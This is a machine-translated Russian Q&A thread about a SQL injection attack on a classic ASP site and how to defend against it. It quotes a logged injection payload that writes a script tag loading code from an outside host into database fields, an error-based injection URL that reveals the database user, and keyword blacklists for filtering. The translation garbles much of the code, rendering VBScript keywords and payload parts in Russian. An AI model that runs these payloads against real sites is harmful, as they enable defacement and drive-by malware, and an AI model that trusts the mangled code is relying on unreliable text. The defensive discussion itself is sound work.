Атака на сайт ASP, который использует базу данных SQL-сервера - PullRequest
10 голосов
/ 24 сентября 2010

У нас есть сайт опроса, который, очевидно, подвергся нападению. Симптомы идентичны описанным на следующей странице на этом сайте: XSS-атака на веб-сайт ASP.NET .

Я нашел несколько записей в наших журналах IIS, которые включали вредоносный код:

.

Вот пример значения поля cs-uri-query для одной из записей журнала IIS.

surveyID = 91 + обновление + usd_ResponseDetails + набор + CategoryName = REPLACE (CAST (CategoryName + As + VARCHAR (8000)), литой (символ (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105) % 2Bchar (116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112) % 2Bchar (116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar (112) % 2Bchar (58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar (45) % 2Bchar (115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar (110) % 2Bchar (102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar (62) % 2Bchar (60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (62) + а + VARCHAR ( 8000)), литой (символ (32) + As + VARCHAR (8))) -

Я не понимаю, как работает приведенный выше код, но, видимо, это то, что отправляется в строке запроса для повреждения столбцов в наших таблицах базы данных. Мы пока закрыли наш сайт. Мы можем удалить сценарии из базы данных, но это не предотвратит их повторное повреждение, когда мы вернем сайт в оперативный режим.

Есть ли у кого-нибудь предложения о том, как этого избежать?

Ответы [ 6 ]

7 голосов
/ 24 сентября 2010

Это инъекция SQL.

  1. Никогда не доверяйте пользовательскому вводу. Вы принимаете входные данные и отправляете их непосредственно в базу данных
  2. Никогда не доверяйте своему вводу пользователя!
  3. Проверьте все входные данные в белом списке допустимых значений.
  4. Для ввода текста убедитесь, что все экранировано

На эту тему есть тонны: Google - твой друг

2 голосов
/ 22 апреля 2011

Не уверен, что это все еще актуально для вас, но у меня уже было это в прошлом, так как мы все еще работаем с некоторыми старыми сайтами asp. Есть две вещи, которые вы должны очистить это. Во-первых, это поиск и замена хранимой процедуры для вашей базы данных (достаточно легко для Google это), если вы можете сойти с рук. К сожалению, иногда данные обрезаются в зависимости от типа поля, но тут делать нечего. В противном случае необходим откат для вашей базы данных.

Во-вторых, вставьте сценарий предотвращения взлома SQL, например, как include перед подключением к вашей базе данных:

Удачи.

<% 
'  SqlCheckInclude.asp
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.</p>

<p>Dim BlackList, ErrorPage, s</p>

<p>'
'  Below is a black list that will block certain SQL commands and 
'  sequences used in SQL injection will help with input sanitization
'
'  However this is may not suffice, because:
'  1) These might not cover all the cases (like encoded characters)
'  2) This may disallow legitimate input
'
'  Creating a raw sql query strings by concatenating user input is 
'  unsafe programming practice. It is advised that you use parameterized
'  SQL instead. Check <a href="http://support.microsoft.com/kb/q164485/" rel="nofollow">http://support.microsoft.com/kb/q164485/</a> for information
'  on how to do this using ADO from ASP.
'
'  Moreover, you need to also implement a white list for your parameters.
'  For example, if you are expecting input for a zipcode you should create
'  a validation rule that will only allow 5 characters in [0-9].
'</p>

<p>BlackList = Array("--", ";", "/<em>", "</em>/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update")</p>

<p>'  Populate the error page you want to redirect to in case the 
'  check fails.</p>

<p>ErrorPage = "/ErrorPage.asp"</p>

<p>'''''''''''''''''''''''''''''''''''''''''''''''''''<br>
'  This function does not check for encoded characters
'  since we do not know the form of encoding your application
'  uses. Add the appropriate logic to deal with encoded characters
'  in here 
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str) 
  On Error Resume Next </p>

<p>Dim lstr </p>

<p>' If the string is empty, return true
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If</p>

<p>lstr = LCase(str)</p>

<p>' Check if the string contains any patterns in our
  ' black list
  For Each s in BlackList</p>

<pre><code>If ( InStr (lstr, s) <> 0 ) Then
  CheckStringForSQL = true
  Exit Function
End If

Далее

CheckStringForSQL = false

Функция завершения

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''» «» «» Проверьте данные формы «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «

Для каждого в запросе. Форма If (CheckStringForSQL (Request.Form (s))) То

' Redirect to an error page
Response.Redirect(ErrorPage)

End If Далее

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''» «» «» 'Проверить строку запроса «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «

Для каждого с в Request.QueryString If (CheckStringForSQL (Request.QueryString (s))) То

' Redirect to error page
Response.Redirect(ErrorPage)

End If

Далее

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''» «» «» 'Проверьте куки «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «

Для каждого в запросе. Печенье If (CheckStringForSQL (Request.Cookies (s))) То

' Redirect to error page
Response.Redirect(ErrorPage)

Конец, если

Далее

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''» «» «» Добавить дополнительные проверки для ввода, что ваше приложение 'использует. (например, различные заголовки запроса вашего приложения может использовать) «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «» «

%>

2 голосов
/ 24 сентября 2010

Также ...

  1. Использовать параметризованные запросы.
  2. Избавьтесь от старого классического ASP, что усложняет использование параметризованных запросов.Перейдите в .NET, которая упрощает проверку и может ограничивать значения, запрещать ввод html и т. Д.
1 голос
/ 02 апреля 2011

Плагин BulletProof Security WordPress имеет фильтры SQL-инъекций, которые блокируют эту атаку в файле htaccess.Поскольку у вас есть сервер IIS, вам нужно будет добавить дополнительные функции, которые позволят вам использовать файл htaccess, или, возможно, вы могли бы каким-то другим образом встроить фильтры SQL-инъекций в IIS, поскольку htaccess традиционно является Apache.Это строка в главном htaccess-файле BulletProof Security, которая блокирует ВСЕ попытки взлома SQL-инъекций:

RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] 
RewriteRule ^(.*)$ - [F,L]
1 голос
/ 02 апреля 2011

Вас поражает пакет эксплойтов LizaMoon для автоматического внедрения SQL, и теперь он упоминается в статье на странице компании, которой приписывают первое документирование атаки: http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx

1 голос
/ 02 апреля 2011

Настройте свой IIS для отправки пользовательской страницы ошибки или страницы ошибки по умолчанию 500 вместо отправки подробных сообщений об ошибках клиенту.

Подробные сообщения об ошибках использовались для поиска схемы БД.Затем они использовали SQL-инъекцию для обновления текстовых полей.

Вот пример, чтобы получить пользователя БД:

/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

, то есть «и ^ + пользователь + ^ = 0», и он возвращает:

[Microsoft] [ODBC_SQL_Server_Driver] [SQL_Server] Conversion_failed_when_converting_nvarchar_value _ '^ myDbUsername ^' _ to_data_type_int.

, где user user <1015> * * *Используя подобную технику, можно получать базы данных, таблицы, столбцы, типы и т. Д. Один за другим.

Если вы еще не атакованы, отключите подробные ошибки в IIS, в противном случае проверьте журналы, чтобы найти страницыесть уязвимости в SQL-инъекциях и исправьте их.

Я написал небольшой скрипт, чтобы проверить, есть ли "

...